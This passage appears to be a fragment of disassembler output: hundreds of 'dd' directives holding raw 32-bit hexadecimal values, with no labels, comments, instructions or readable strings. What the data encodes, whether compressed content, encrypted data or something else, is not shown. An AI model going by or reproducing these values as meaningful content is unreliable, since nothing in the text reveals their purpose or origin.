		dd 3AF8B24Ch, 3CD0597Ah, 0D004470h, 8EC59E1Dh, 63A3BCh
		dd 0E1C63D10h, 60CD86C2h, 0F001E2F4h, 4C8BD552h, 1202C36h
		dd 1E18C06Ah, 0B183C2F9h, 0C3D88500h, 0C4559CCBh, 9A6700ADh
		dd 2F9F523Ah, 324C49A9h, 57F10081h, 711683CCh, 0FB54314Fh
		dd 0D0BD2C80h, 6C04E7D4h, 2D91A07Dh, 7A3F0280h,	97ECBAh
		dd 86F462A4h, 0F85DA6E8h, 9AE9C400h, 5125238h, 760A00BFh
		dd 0FE16A025h, 0FF1C930Fh, 0C4824A79h, 0E0683EB5h, 7CBFA3EEh
		dd 604900C9h
		dd 0CFD4DC07h, 0EE31CE3Dh, 0A617483Eh, 4FC0C747h, 1DB0D23Ch
		dd 7897C9ABh, 0D394500h, 1D269649h, 78D6D114h, 18103E80h
		dd 0D9C8E907h, 116E0028h, 229136F6h, 0C4035E0Bh, 0AED132DAh
		dd 0D8300859h, 0E4000D73h, 0DD0A6D33h, 58E8014Bh, 8154FDDAh
		dd 80DFC52h, 0B89C3Eh, 0E7EAB17Fh, 7F58DB2h, 0A2441226h
		dd 0DD35700Ch, 0C8E885FDh, 0FDB3C13Ch, 9F11ED07h, 42904C01h
		dd 6B9D31Bh, 18E7343Ah,	290210E3h, 3EB08077h, 0DF4DC008h
		dd 60156079h, 587D446Dh, 0DC31E60Fh, 0DBA4E72Dh, 124343h
		dd 7D1F5420h, 0C9E196BFh, 0FD0146FEh, 158DA3E6h, 8BC0D106h
		dd 0A04E179Bh, 0D06B00C6h, 37493164h, 0B418D500h, 0AD364AE9h
		dd 0E1E20034h, 79E42B6Eh, 593C7DAFh, 3C9100F1h,	0E93D536Fh
		dd 80BC03E7h, 8A35FFEBh, 3F92A000h, 45F69ED0h, 32050ECCh
		dd 0EE86C4F5h, 0F41E2076h, 1C0BB47h, 0C25C83D8h, 0FA080116h
		dd 50DDDCF7h, 0A478A2B4h, 0A314157Dh, 8C220Dh, 0D078B6A5h
		dd 2447E237h, 3A21E69Fh, 0BCDD0775h, 3077796Eh,	2E56A552h
		dd 0D6481B61h, 78808096h, 8B0D88C8h, 0FA0012D8h, 0FE38475Fh
		dd 0A4607Fh, 2F98A1A2h,	47BE8F8h, 0F9D938h, 0F3B9DD9Ch
		dd 13F2A3h, 2530443Eh, 0A9CBF7ACh, 3C00D57Ch, 0BD795347h
		dd 16D98Eh, 6333B235h, 4E9A0443h, 78FB3400h, 4639B4BAh
		dd 0F0B10085h, 0CEC94A5h, 0DBE46809h, 5D675F00h, 0D4B93F82h
		dd 0CE6219D9h, 4F921179h, 8E0EC104h, 70F0A134h,	5693005Dh
		dd 1B27887Ch, 0EA7DA99Dh, 809E893Eh, 38A21F8Ch,	0EA51CFE9h
		dd 396F09E7h, 0EB8020FFh, 36DC72B5h, 80C15C3Ah,	0DFE70211h
		dd 49170Ch, 63F7B10h, 8F800AF5h, 7707F97Fh, 5878D9CEh
		dd 2FE3F7C0h, 7FD000C7h, 0D7690C6Bh, 0B6009CA9h, 78246798h
		dd 0EE13951Ch, 98983Bh,	20328B26h, 3804892Dh, 806ED63Fh
		dd 4196DECEh, 3D71E01h,	0A2C4D18h, 57F83547h, 3386524h
		dd 0B720002Bh, 747BC040h, 0CB2D0055h, 252C998h,	9103D799h
		dd 0F07AA8A1h, 41CA99AFh, 0EB5DE4h, 886E6CD6h, 80C81318h
		dd 0E012BD30h, 0E5655A2h, 26283D7Bh, 9CBB3B00h,	9F0C2481h
		dd 20A8A41Ah, 8A5A0080h, 70B1A041h, 0AC2A7CC0h,	900C004h
		dd 40344F8Fh, 5C8DC587h, 0E000FB6Bh, 735E8868h,	0F100E61Ch
		dd 0D2FDAA7Eh, 0E276CF06h, 96170EDEh, 244034E8h, 5A9D137Bh
		dd 497A587Eh, 0D3AB5700h, 21EDC63Ch, 9C9200B6h,	53236B09h
		dd 65008DE0h, 0FF5CA197h, 3ED35Bh, 64FEC47Eh, 48A7B65Fh
		dd 70632400h, 61386254h, 0C14B0966h, 0E0030C1Fh, 18068C23h
		dd 2E70034Eh, 1D0BF656h, 43CFE3E1h, 0DC1E849Ah,	4C1037C8h
		dd 80505800h, 2D12834Bh, 6BC100EAh, 2897BFD0h, 40008284h
		dd 2A0ECE3Fh, 0FCCBC50h, 0C37A792Fh, 33500F3h, 0AA5C4485h
		dd 0CBEF271Eh, 7CB1077Fh, 6F005377h, 6EA18Dh, 451C597h
		dd 729466B2h, 2605D40Ch, 63A881h, 7FE64E58h, 0E804007h
		dd 5DB0F407h, 0CAD0A3CBh, 37AF990h, 0E14F55B6h,	2CF9E968h
		dd 394E705Ch, 260065E4h, 891BF5A1h, 4DA53Eh, 0C7029DCh
		dd 0ABF33546h, 5567361Ch, 9F723940h, 7056169Eh,	145101BCh
		dd 2A9D987Bh, 0D842F57Eh, 8875B209h, 0A51711EEh, 9B00CF27h
		dd 3F3C9B10h, 4C94001Bh, 96ECA431h, 0E27CFFDDh,	0EDF8650h
		dd 0D74B1100h, 0CB7140BEh, 8B3B033Dh, 52BBF8ABh, 3F4CF1E8h
		dd 8681801h, 1C0EA160h,	290030BFh, 83469EF3h, 3867BCDFh
		dd 7F702B38h, 0EDC8132h, 8561627Ch, 15610577h, 0B39C0089h
		dd 0CD13FEACh, 8C36E600h, 50334F68h, 0C7C300E5h, 9345A730h
		dd 0B90F8EDAh, 605D96A6h, 57351956h, 381EFE67h,	520376A1h
		dd 37FFB9B1h, 30A9CAD9h, 2200123Ch, 56A1CE7Eh, 904DB68Fh
		dd 0AE96003Ch, 918C9D54h, 3700B889h, 80EAD59Ch,	26D94FC1h
		dd 812031B5h, 9AB65DC9h, 0B8E3C83Fh, 0FA778098h, 60DA7E3Ah
		dd 0AC54F3C1h, 0C800530h, 7692A4Eh, 0F00F6D34h,	0BF319C26h
		dd 615050C0h, 0ACDC44h,	0A7819DBDh, 36E75875h, 0B571B100h
		dd 0F52B774Bh, 9C7A8Ah,	0A4549B50h, 6C1DBF46h, 3E48DD00h
		dd 0FC19F6EFh, 82FA00D1h, 0CA519C2Dh, 76004BA3h, 109E36Dh
		dd 3E919B3h, 403DF211h,	0A2D83E78h, 4305AF3Bh, 0AC4C9C5Ah
		dd 0B10F65C0h, 0FB701C35h, 9AD909DEh, 0D75292A0h, 0A87D03F2h
		dd 0B400CBECh, 0F820585Fh, 71DAD8h, 5B0F6609h, 4A74302Eh
		dd 81BD941Dh, 0A0D4CDC3h, 0C531EFEEh, 0C451DF99h, 0CC606616h
		dd 986A5C80h, 44F0200h,	8F926D0Ch, 0C3566E0Fh, 0E2254049h
		dd 0C51398h, 21076FA8h,	43D81A73h, 8CF0AF00h, 0E942BD6Bh
		dd 1E620031h, 96891F41h, 4909154h, 7E513700h, 3CB0F5EFh
		dd 0FB5B0049h, 5290A528h, 882683A3h, 2C000E4Ch,	95F7DA8Dh
		dd 426F01B4h, 3177EF30h, 0C3C9E4E7h, 98A4C000h,	15A936E4h
		dd 9D40EB5Ah, 965C27h, 3431ACEAh, 0C4A77B6Eh, 0E0E7820Eh
		dd 702C805Bh, 0E4FCCD63h, 0FE840068h, 71952649h, 0DC182592h
		dd 0D5FA3BEFh, 0A12D002Bh, 51A0A64Ah, 5A00628Bh, 59301C6Ah
		dd 9A4EDFh, 6C556EECh, 9F86CEA7h, 107A63Fh, 0AED0A1E7h
		dd 2820D921h, 43A7302h,	42C0B211h, 9BC0C028h, 810010C1h
		dd 3F229C93h, 3C2667ABh, 25043CDEh, 80920338h, 6CA99E38h
		dd 0C0767E26h, 81D35CE7h, 1EE4A0B5h, 269A3E9Dh,	3500AF58h
		dd 4A4BD52Ah, 909204F5h, 0DF007090h, 59FED203h,	4D9A3A7Ch
		dd 0B707B8C3h, 314D01A8h, 0D4CFBA2Fh, 8CA06D14h, 47E2978Ch
		dd 1F780860h, 2CC55C39h, 800C42E8h, 15915B6Ah, 0F309AEB2h
		dd 3C166A0h, 806E5198h,	717111BBh, 0FF330B98h, 8387906Bh
		dd 9C7051E4h, 0B9881F3h, 4AFB074Fh, 5DCE509Eh, 28FC4790h
		dd 0F7E05ED1h, 9F775473h, 78B49D48h, 8467382Ah,	0D19E2005h
		dd 409231AEh, 85C07DDEh, 22009471h, 0ED255F13h,	75598F54h
		dd 0EA640079h, 90C45636h, 0D92CAD94h, 84004C8Ch, 0AAD2F455h
		dd 72CE2C6Ch, 0CD3A00FFh, 4AF6B5B1h, 3708231Eh,	0DC405352h
		dd 0B344C162h, 0BB810267h, 0B01AAF8Ah, 0EC8D4A61h, 0BF7E999Ah
		dd 7F52BD00h, 0AB7D3F3h, 1F7900F7h, 42AA0F22h, 770144A0h
		dd 0DD83FB7Ah, 0FC60C431h, 0BC760405h, 0C0A2C6B1h, 11091798h
		dd 1CE2DD00h, 35E3CAEEh, 7F900097h, 5449D89Ch, 0A03A6DCh
		dd 64091E44h, 0B16C90E8h, 7B0D008Bh, 0C891E3CEh, 6A0F9661h
		dd 42CB8773h, 40FD0CE2h, 6E8B2Ch, 3F9899F1h, 0A93B9BC1h
		dd 0A89F5Ch, 75397BE6h,	14D72E02h, 0B050AAC3h, 80E10070h
		dd 5A67CA1Dh, 270BE53Bh, 1180A49h, 9E083638h, 0E2009433h
		dd 742ED801h, 270021C9h, 0C62A1609h, 582CA65h, 0CB9F7B77h
		dd 0EBFC0062h, 0E3BEC4DCh, 8C194504h, 8CC0BF01h, 55C148B2h
		dd 0FCEB9034h, 1E7E9088h, 4913E1F4h, 8205EDAh, 3B1D904Eh
		dd 6E1D05EEh, 0AC033715h, 0B85B798Ah, 1EBAD0E5h, 80AB9E30h
		dd 0A2AFEB9Dh, 3449B258h, 423A0098h, 948540F4h,	1F9A2E3Dh
		dd 53FA89C8h, 9D16CC16h, 103AB9C4h, 2D804738h, 57647A58h
		dd 0FD07E60Fh, 0E4F7975Fh, 251A1B90h, 1F9E0085h, 864A9B45h
		dd 41008A50h, 530D46DDh, 5192E3h, 4F912052h, 0A23D4CA7h
		dd 0D8D18800h, 75867B34h, 0FDF0072Ch, 0A1188DB1h, 0C426C665h
		dd 6100A02Dh, 1EE2D153h, 0FA649h, 8DC1976h, 244A586Eh
		dd 1DC90C0Ah, 2600AC1Fh, 4D046AF9h, 35FA2661h, 51954020h
		dd 0E2FAFF7Fh, 0B1391700h
		dd 8A773A0Bh, 0C91100A1h, 927266AAh, 5659FCCAh,	68762CACh
		dd 6CA83701h, 94345DCBh, 0FAFD0033h, 0F8F23F84h, 1D046A2Ch
		dd 0D549058Dh, 0F7642CC1h, 13A26DC8h, 283AA1E2h, 2A00BE88h
		dd 0E42D0608h, 846148h,	0C1953722h, 0DA607E7Fh,	7AA4DC12h
		dd 0D0C83063h, 0DD4B54h, 7BADB7D0h, 45D1DBA9h, 0C8290A26h
		dd 78006912h, 81AAF7FBh, 0C96412E5h, 422C0057h,	1707F59h
		dd 0BD053492h, 0ED65F64Dh, 76E15AC0h, 56073ED8h, 2B85BA80h
		dd 536E54Bh, 9502B100h,	39661F5Bh, 100E0068h, 0E2FCFFC6h
		dd 0B8163782h, 88426194h, 606C08BFh, 16353B50h,	0C86DBCh
		dd 757052ECh, 0BD078C7Fh, 8E32688h, 0DC9F6170h,	3550C98h
		dd 8A18E7E9h, 8E7B0400h, 1B926293h, 8871A5h, 25D0ADA3h
		dd 9A22D595h, 54B75000h, 9EDFA1EBh, 4AA700F6h, 84736869h
		dd 0E15C4D6Ah, 4F05808h, 0AABC85F1h, 0EE4EC4D0h, 76B60016h
		dd 56E92E6Eh, 9109AC0Dh, 38376Ch, 7833B870h, 3C83293Dh
		dd 810F45F8h, 63393F34h, 60F88F2Ch, 7BF3BBD8h, 64B480Bh
		dd 0A2253202h, 0B4A04CBAh, 55CE1551h, 27C43Fh, 0D3795D19h
		dd 199D9C78h, 608FD41Dh, 0F7E860F4h, 8506AD0Ah,	7209D901h
		dd 0D62030C6h, 0AB40AEEh, 0B41DD2h, 91FE5365h, 0DA004871h
		dd 99017A4Dh, 7F9C8961h, 6C8C03A6h, 5585AD54h, 0B0E097A7h
		dd 19636D51h, 6867C32Eh, 0F205A0E0h, 0BE2D00D6h, 91754746h
		dd 1F02DC4Dh, 2BCD5BCAh, 5070C0A1h, 5C930739h, 0B0BB621Ch
		dd 2654292h, 0D170CC07h, 0DA30A95Dh, 394DC3EBh,	9600339Ch
		dd 10713CF3h, 5B003EA6h, 1D7A7375h, 0F41E39E0h,	5DA50177h
		dd 0E48188EDh, 0FB460FEh, 0C1B4D503h, 0F04B144Ah, 7CEA943h
		dd 0F3741D81h, 6871A05Eh, 344E83A5h, 300E4DE8h,	0E8E0FE04h
		dd 0F9FF9EA6h, 0E6B59B1Ch, 0A0C8664Bh, 0C05A3F18h, 86360144h
		dd 0C473BBB1h, 6DE930ABh, 0F8906800h, 27A77226h, 0D66F0064h
		dd 0EB4C0ECFh, 4800CA24h, 0A487C969h, 0E8B2BC2h, 1C64018Dh
		dd 0C55009E2h, 0CEE64478h, 3ADC33Ch, 0A4F63766h, 0ECA0ECB7h
		dd 0A07D002Dh, 383E2CDEh, 404CD0EEh, 314F01D4h,	0F625C0B8h
		dd 0FD155089h, 0ED9F0703h, 96A78C98h, 82578800h, 59D9FA06h
		dd 0C337DE0h, 42D2078Fh, 9112DB11h, 2800A3C0h, 4F6399EEh
		dd 0B191A01Ch, 45190036h, 6BB93FA1h, 5318980Ah,	0A51184FDh
		dd 0F0740EEFh, 5840EE01h, 0C5F3D35h, 2429832Ch,	0B0780687h
		dd 0FC5308Ch, 841888F5h, 83F9FD64h, 29002891h, 9A7AFC0Eh
		dd 1FC6C315h, 0C2229Fh,	8FADFF40h, 3E581DE6h, 0A1E4133Bh
		dd 0C7A6A500h, 0DEBEB6h, 0BB532EF5h, 6FC882D3h,	8DBA8F07h
		dd 7BE02542h, 245E2Dh, 48DABDD4h, 881677BEh, 5800727Eh
		dd 5E10B50Ah, 0D2893Ch,	62AB1B8Fh, 94FCF5CDh, 9AD95Ch
		dd 81C28664h, 0EA9EB62Ch, 0F29201ECh, 0F4F7C3Eh, 5343C45Ah
		dd 352E0600h, 5E7B69B1h, 0F09200F4h, 3A74DDDCh,	0CC7A3997h
		dd 0D82F6E00h, 89477FF6h, 8EB30E88h, 24A04C58h,	0F8495A1Ch
		dd 6D119200h, 9859BFD9h, 2D80AB5h, 87B8AB60h, 9ADC2420h
		dd 219C48C0h, 0F3185404h, 0D3105112h, 0CF340307h, 6E53A955h
		dd 72F063B0h, 4647DA00h, 0BA053C75h, 0CB8D0195h, 52D135ABh
		dd 7080C849h, 67336F00h, 1EF284C2h, 0EFA801D5h,	1B05DDFEh
		dd 0FA22E4AFh, 0A9F660FEh, 90FF5705h, 0B480957Ch, 13CEABh
		dd 59678C14h, 0A035642h, 1FDFC00h, 8B1B2B23h, 0C7BD00A1h
		dd 894A7F88h, 2D065A0Ch, 0F13AB4A4h, 853009Ah, 97C1B89Bh
		dd 0BCFA2A28h, 0CAE4EC00h, 0DB103C24h, 0E2250016h, 5C1E3F53h
		dd 0CE789585h, 8AA7EE00h, 47F18E10h, 56200BFDh,	9E808F79h
		dd 8683BE61h, 0BBC66700h, 30413959h, 0AF9066Ch,	9835EE77h
		dd 5CF11900h, 0C3BE4054h, 41940FCBh, 91A3FAC2h,	4907EDDFh
		dd 0C33CE85Bh, 22D0A720h, 0B28A00F9h, 107D414Fh, 83059B68h
		dd 23B7A66Ch, 8AA88A80h, 724002EBh, 0A467901Ch,	870150C0h
		dd 0ED206101h, 811358D2h, 4654E0h, 9E5A938Dh, 0BB6650C3h
		dd 0C98B4500h, 9AE42B83h, 0C6FB1FFAh, 0F890941Bh, 60D09400h
		dd 5775CA6Eh, 0A3128A7Ch, 70C09D6Ah, 98517DFBh,	0C73F04D2h
		dd 906EB8C6h, 5E874F14h, 80C49739h, 0DE77F81Eh,	3B0D39A6h
		dd 0F104E22Fh, 0B003C72Dh, 280FA96Ch, 0E0414757h, 0FD6F1767h
		dd 275800B2h, 0DA99247Eh, 853F65EEh, 0D28A80D0h, 0D3D65A4Dh
		dd 10CF0022h, 0A7F03023h, 1000C8Dh, 513EB1E7h, 77008A2h
		dd 443DAAECh, 80D0E458h, 0B0403FD9h, 0ACC62B00h, 0AF60DC06h
		dd 0ED0400A7h, 0E8B1E2C4h, 9D009AA4h, 0B536325h, 0C868A8h
		dd 0C12F2113h, 0B7234D12h, 0C6CADF02h, 6058A0EFh, 9650B0h
		dd 0A1709402h, 0F4BED716h, 51075890h, 89287D9Ch, 0C65D4320h
		dd 6C4A00AFh, 0AC2F64D5h, 0FD134F10h, 0FC07CC1Ah, 480FC7Dh
		dd 0E4CFFC3h, 387CAA90h, 6D6A2F60h, 0D07995Ah, 72D2885h
		dd 9BC9BB50h, 296E6024h, 0D8E39006h, 0C7B2E605h, 0E880F36Bh
		dd 7EF258Eh, 5EFED3CCh,	9271B045h, 0BB01790Fh, 23DDCB40h
		dd 30ECC11Dh, 342E0B4h,	0D697F963h, 86C88D60h, 0DC073CCBh
		dd 264D84E1h, 0C91252F1h, 7F18883Ch, 45D1F995h,	25E6A67Fh
		dd 0AED72A00h, 0AD7EBB3Fh, 3EECC8h, 0A04847A5h,	0CCA24CF3h
		dd 300102E8h, 5C9FE824h, 0EFD8D9F7h, 2CDC00FBh,	1F8E7E9Dh
		dd 0A60167EBh, 430A5BA0h, 0E0421A08h, 58D017h, 57F152E6h
		dd 0FA994D31h, 299EEE12h, 84254404h, 0C2D08A40h, 0C310A87Fh
		dd 0CD0FFB74h, 8E6250E6h, 0B48202B9h, 16216254h, 1260AD47h
		dd 29BD0536h, 0F487B4h,	70659AA4h, 6F005093h, 565DDDFAh
		dd 74226C4h, 0DAC6C1E2h, 395F80AAh, 909296BCh, 2D0126E4h
		dd 7928D610h, 0F3C121AFh, 14767870h, 0C438516Ah, 88B9200h
		dd 0D8F01BE7h, 0A9B7CC00h, 1360049Fh, 8DAF003Ah, 9018372Eh
		dd 56000D45h, 32356BD6h, 0FAA6FBC3h, 7D3EE3Eh, 0FAB6AB0Ah
		dd 206D562Bh, 2224F600h, 8F6CC87Bh, 107DCDh, 3675D33Fh
		dd 8A6AFEECh, 0D51F72F0h, 44403918h, 0C052FCAh,	3577B68h
		dd 658525B8h, 3AE08F1Dh, 9238C4BCh, 1F3BB2h, 0B77342D6h
		dd 0E2CA333h, 4D0A32C1h, 0BAFC6C63h, 9DB2BE90h,	4A5B2100h
		dd 0A1A33B90h, 0CD970075h, 4E6F6573h, 490085E2h, 9472CF83h
		dd 18C423h, 5C0B5A6Ah, 22D1C59h, 77C4845Ch, 468AF600h
		dd 0C9D1A181h, 6CB218h,	0CF2C2570h, 0C73207C2h,	5688F400h
		dd 0EEB52002h, 3BEF00DBh, 26EDA675h, 960051D1h,	0AFA70823h
		dd 0F03CEA84h, 27B6005Bh, 0E22862A0h, 377FD81Fh, 66C6C200h
		dd 0B84C3D1Dh, 30FE77C7h, 741125ABh, 14F8BF9Ch,	281F9798h
		dd 39382Eh, 94122AC6h, 5DB4DC6Dh, 0AE035860h, 63896E04h
		dd 5D2CB098h, 5836CC00h, 7FE03A1h, 0EB300998h, 90C14D6Ah
		dd 0F36E8032h, 0BCD5964h, 1E8A00E3h, 22754BDFh,	539018C1h
		dd 0D1E0A301h, 8CAC9737h, 3602CD8h, 4BD46E06h, 0F3F0CEB9h
		dd 3E175661h, 67E0C0B2h, 0D69900C7h, 12D4435Fh,	0B874815Dh
		dd 0F1CB9600h, 0E3F8822Ah, 15FA1726h, 68E605D1h, 1CB04741h
		dd 0F4C6E253h, 8E6C0760h, 45E49B07h, 0F8D09D8Fh, 0BE6768h
		dd 4E6358Ch, 7EA5D408h,	0BA3DE004h, 15809E2Ch, 122F61DFh
		dd 4FE36Eh, 1F024B14h, 8FB0EB10h, 0DB01417Bh, 680F67B9h
		dd 0BEC06B27h, 0A8433F6Ch, 21A47080h, 85D526AFh, 0B092C00h
		dd 4F222F51h, 6DE20082h
		dd 2993655Ch, 0E7B8C71Fh, 0D6D4E300h, 5DAD8606h, 96140046h
		dd 3D526DF6h, 2B00279Dh, 8D67B024h, 773E131h, 6AC1505Fh
		dd 0E0E970D2h, 920089ECh, 29051606h, 73B55D56h,	288B00BDh
		dd 0D1F8CE4Fh, 1E00A208h, 7DFC43Dh, 0E71BFD10h,	0CD00B829h
		dd 5D953F5Ah, 0DAB03399h, 253F4673h, 7F100EDh, 2438BA21h
		dd 0C7AD0F0Eh, 89747433h, 92E15900h, 581D1B64h,	2DAB4100h
		dd 452168C3h, 4F52EAB2h, 8FF80285h, 9850A124h, 0ED023374h
		dd 3563373Bh, 861401Fh,	219C62D2h, 0B45238EBh, 66DDAC00h
		dd 5821EDAEh, 77E2258Ah, 0C0D1E807h, 0EAE549ECh, 743C60Fh
		dd 921FB062h, 55A04F4Dh, 22097260h, 71FADF5Fh, 102DC00h
		dd 0FB182CF1h, 7D2E000Eh, 28837AA0h, 0D63182BEh, 56568EFh
		dd 0FAEC3AF1h, 206A0FE4h, 0B1003C2Ah, 0B7246B0Fh, 63D51B00h
		dd 838507C7h, 9881003Bh, 0C05D66CCh, 0B30050F3h, 0DA37FA90h
		dd 94E8DEF7h, 8F0640F4h, 48012D47h, 98311E35h, 53DC2369h
		dd 431713BFh, 32E9006Fh, 8684F238h, 33EBA703h, 8003AF01h
		dd 2BB335h, 88C54C60h, 86AE8739h, 30A7A500h, 636FCA74h
		dd 981F015Bh, 0D6B8590Ch, 89DED861h, 0E9FC4200h, 10E2B96Fh
		dd 0A12A0090h, 0FD397707h, 0A200EC5Dh, 34350C54h, 9879CDh
		dd 4EC031D4h, 2C171040h, 0C700737Ch, 585CAEEAh,	764BE3B9h
		dd 2E2B3C22h, 4637CF00h, 67BC2A9Ah, 0C7794F0Fh,	7B57802Ch
		dd 2BD7D3h, 5CB639DFh, 13D8043Bh, 0FD3DA277h, 0FCED0722h
		dd 0FA107D6Ah, 542CCA0Dh, 7CFE4A1h, 9F40EFABh, 8E5C712Ah
		dd 9D208087h, 0B767F415h, 0D3A21D10h, 0B99F4058h, 8321F1E5h
		dd 0C5EB690Fh, 7BD007F4h, 45B400DBh, 524D66h, 0EFEE1A95h
		dd 0A1C3084Ch, 0C48F0400h, 0A023FB7Ch, 5012009Ah, 0C96830B7h
		dd 0B4E21D9Eh, 8E32B638h, 636BC395h, 0B02F20ECh, 1F1E4B81h
		dd 0CE6E0Eh, 2685DC75h,	6D002951h, 9EDD6291h, 323FEAFh
		dd 952E0FDAh, 0E3A0F65Bh, 7F7776C4h, 3F001B75h,	472C95Dh
		dd 0F7CD923h, 301E0F2Bh, 48F73E80h, 593814CBh, 368604Dh
		dd 0FCD85C7Dh, 0E84C03C4h, 0D61C9277h, 0E1846299h, 0B22ED0E6h
		dd 86288D00h, 4E933754h, 0E3F218h, 7185A83Fh, 0F819476Ah
		dd 6256FC00h, 26792C94h, 6F252422h, 908A03CEh, 9000F1A6h
		dd 0D2B78263h, 72808Fh,	1B4319CBh, 1F2494D7h, 4F1E8118h
		dd 23C298h, 1104850h, 0E89233CBh, 4C00B4E6h, 0BAFFBDC6h
		dd 1CF06Eh, 0C75F20EDh,	9B3101B8h, 519C1D00h, 0C679CC1Eh
		dd 168B00F2h, 0B7D6147Fh, 4D1F52A6h, 0A800C9EBh, 3C37298h
		dd 8F0E1FC1h, 0E3EF0044h, 6984B904h, 0F77AD000h, 0C9EACF56h
		dd 0E72100D2h, 2C39D5CEh, 9C6C7C4h, 20A89Bh, 6AD99D32h
		dd 8C599290h, 1D032779h, 0BB45109Fh, 0A50C9822h, 0C078DEDBh
		dd 0A24F8F8Ch, 1700BA44h, 8B6D114Dh, 18EF15B7h,	0E83D1469h
		dd 2E1B4992h, 0D891CDA2h, 0C08B9A8Fh, 0E26DC6A0h, 0FB00EAC9h
		dd 69261245h, 5630D3h, 0B1291183h, 8C854B1Ah, 551F037Eh
		dd 0D28101BDh, 13159302h, 0FC67E0h, 641B864Ah, 73035876h
		dd 94A6A300h, 9EC1EC69h, 0BC60053h, 0B17ABE02h,	4300FA2Fh
		dd 3229A351h, 0D0DFE8h,	0FE0E5D36h, 0E684BDD4h,	40308372h
		dd 0FF7020F7h, 7779072Dh, 0C1C508h, 0D7F6E5FAh,	0E100BB74h
		dd 0E08BE77Fh, 0E9A3BA6h, 1739FD0Dh, 69D6F280h,	2F00DCE1h
		dd 0F4FE91F6h, 3E5D3DF1h, 3097F92h, 808024A7h, 7CD58B65h
		dd 0B4F22D06h, 78F4FCh,	0D2B2FAFFh, 2AE3F5E2h, 2443AA00h
		dd 62A6C271h, 0E47CB9h,	54B64283h, 8638B07h, 3237B879h
		dd 0FA306089h, 3C7224D9h, 0C60F7C45h, 2E208D3Dh, 51EF0104h
		dd 17346E00h, 708CBF7Bh, 9E7500A6h, 0A872CA38h,	0C900637Eh
		dd 99FB4123h, 0EE323374h, 0D62000ADh, 0D47F7181h, 64000D8Eh
		dd 67025892h, 881E4Ch, 0FA228303h, 0F9326A0Ah, 3F07161Ah
		dd 85041510h, 80EEE325h, 3E1BB3ADh, 556E2200h, 99C664D2h
		dd 6FF90023h, 5CDD4312h, 380082FEh, 296246ACh, 0FFE9CCh
		dd 60F0EE47h, 0C0AA4DBBh, 80E2A53Ch, 181C2579h,	1E1033A0h
		dd 8023FF77h, 453E570h,	9D00C392h, 7841514Dh, 1D980E05h
		dd 41ABFFC2h, 617CB2CAh, 338EDC1Bh, 78C81400h, 66A7B355h
		dd 2B8E4D2h, 3525B619h,	24C06B29h, 1600CE1Dh, 0B5604B1Eh
		dd 0AA908Eh, 40475455h,	56EFDF24h, 6885107h, 0B697B4B8h
		dd 7991F750h, 906D381Ah, 7643E400h, 1B80BE68h, 40426A00h
		dd 747E18C2h, 0ECB70005h, 0B65A2D77h, 3E00ABFEh, 0CAAB0FAh
		dd 0F067ACBBh, 53340033h, 4A4D868Ah, 0C30EA58Dh, 201AE1E7h
		dd 0BAA6CFE0h, 0C280003Dh, 2EA33C0Dh, 3B541B44h, 0D70036C4h
		dd 83E84395h, 0CEA310Eh, 0CC546F67h, 0A800E738h, 0F7AFD9D3h
		dd 0ECD7683Eh, 4BE3E27h, 98AE3307h, 49000E5Ah, 39786B37h
		dd 0A6AC9700h, 4093AF15h, 9F0C003Fh, 0F8BC7F81h, 8A01725Ah
		dd 0D7CE2DD0h, 41EEF137h, 99DBBB3Bh, 0CB309C06h, 0D0BA00C7h
		dd 971D961Fh, 360EBF4Eh, 35FBA7h, 131466EAh, 29E8F7F3h
		dd 575CC009h, 1FB50236h, 0E25B7401h, 0A2C3DA95h, 0BBF070h
		dd 675315B3h, 7E568E27h, 5B00FA7Bh, 29E19943h, 633820h
		dd 0D25FA140h, 0D0EA8FA2h, 0FD1DFB00h, 819B7611h, 5E00067h
		dd 0A3B24417h, 7261883h, 3F1F7201h, 0B1D18640h,	0FE6750A5h
		dd 82C008Fh, 30B85D52h,	895CC06Fh, 24D0061h, 120E3D0Fh
		dd 1CBBB016h, 47E897E4h, 0CDB369h, 0E25EAAFh, 0CF3C3Bh
		dd 0CA8FFB4Eh, 0F99531Fh, 0B7D1DD16h, 0A7F48260h, 87000DD2h
		dd 0E4B6BF83h, 1E8E2886h, 408965E0h, 0D35F297Dh, 8580FF9h
		dd 741E00ACh, 0E082B227h, 4E7755h, 43DAC419h, 0F8C1F990h
		dd 1D370D00h, 63DD7646h, 0D1AC0751h, 0A214A520h, 10419608h
		dd 0ACA0D2E5h, 4B51AA87h, 0B0BFA804h, 4C9260ADh, 0A9A9800Ah
		dd 838645h, 30F2BE7Bh, 0B5CFD11h, 0EE590D01h, 9D4AEFCDh
		dd 5A32D8h, 3A33191Eh, 0DD642CFh, 7001AE0h, 7439EF35h
		dd 0E589A71h, 0BCCD8CACh, 9893B2A0h, 7E004F12h,	0C770C960h
		dd 1FAD62h, 67DC1EE3h, 0C5BAE5D6h, 0EA818900h, 0E46CC9Ah
		dd 31AC00C7h, 4C0112CDh, 0D1613EEBh, 16CB9C11h,	80F8F8h
		dd 74FD775Ch, 49F20F9Dh, 0FA00327Bh, 0EAAAC06Bh, 7D8DC8h
		dd 1E2670FFh, 37D94C11h, 74334525h, 0A82056h, 2E6CD79Dh
		dd 0C6F7992Dh, 0EA08DD07h, 0B6503ED4h, 22AE0Fh,	0F31958A2h
		dd 66059054h, 0D6E7BC1Fh, 33B75F00h, 0F2C290Ch,	356E72C8h
		dd 0AFC39020h, 71031F50h, 0A14725D2h, 753198A9h, 0E0FA077Bh
		dd 50E5EBC8h, 923EC53h,	0A5F29501h, 19EDE966h, 0C01EA9C8h
		dd 8A433F88h, 0E7008179h, 33117422h, 42722Bh, 0D458BEC9h
		dd 98C81AAAh, 0F2A9EA01h, 0C31F3411h, 12346E0h,	4D2628EFh
		dd 9C0EC6DEh, 15001818h, 2EA0B347h, 0F53926A9h,	1CE137Eh
		dd 0F6D6C61Ch, 86C0DCADh, 0EB009890h, 11087B9Ah, 181B1B9h
		dd 380952D1h, 0F8FD60DEh, 8900FA45h, 878C2D5h, 0F80494h
		dd 7267091Fh, 47EDD993h, 9945D200h, 605622D1h, 7623001Ch
		dd 0A4ECBF5Bh, 1200C5F4h, 0D9312135h, 75C3F0Ch,	5D3C99Ch
		dd 0C5608E54h, 0C1B0BBF0h, 0DA97C1Dh, 7300FC7Fh, 7BD37D87h
		dd 2432E354h, 3FD9C83Fh, 3B3A2B80h, 0F8FE6E0Bh,	44DA0E00h
		dd 3BF9DABh, 676A120Dh,	3E5700CDh, 8961B965h, 729BFC00h
		dd 151B01CBh, 6D980EEBh
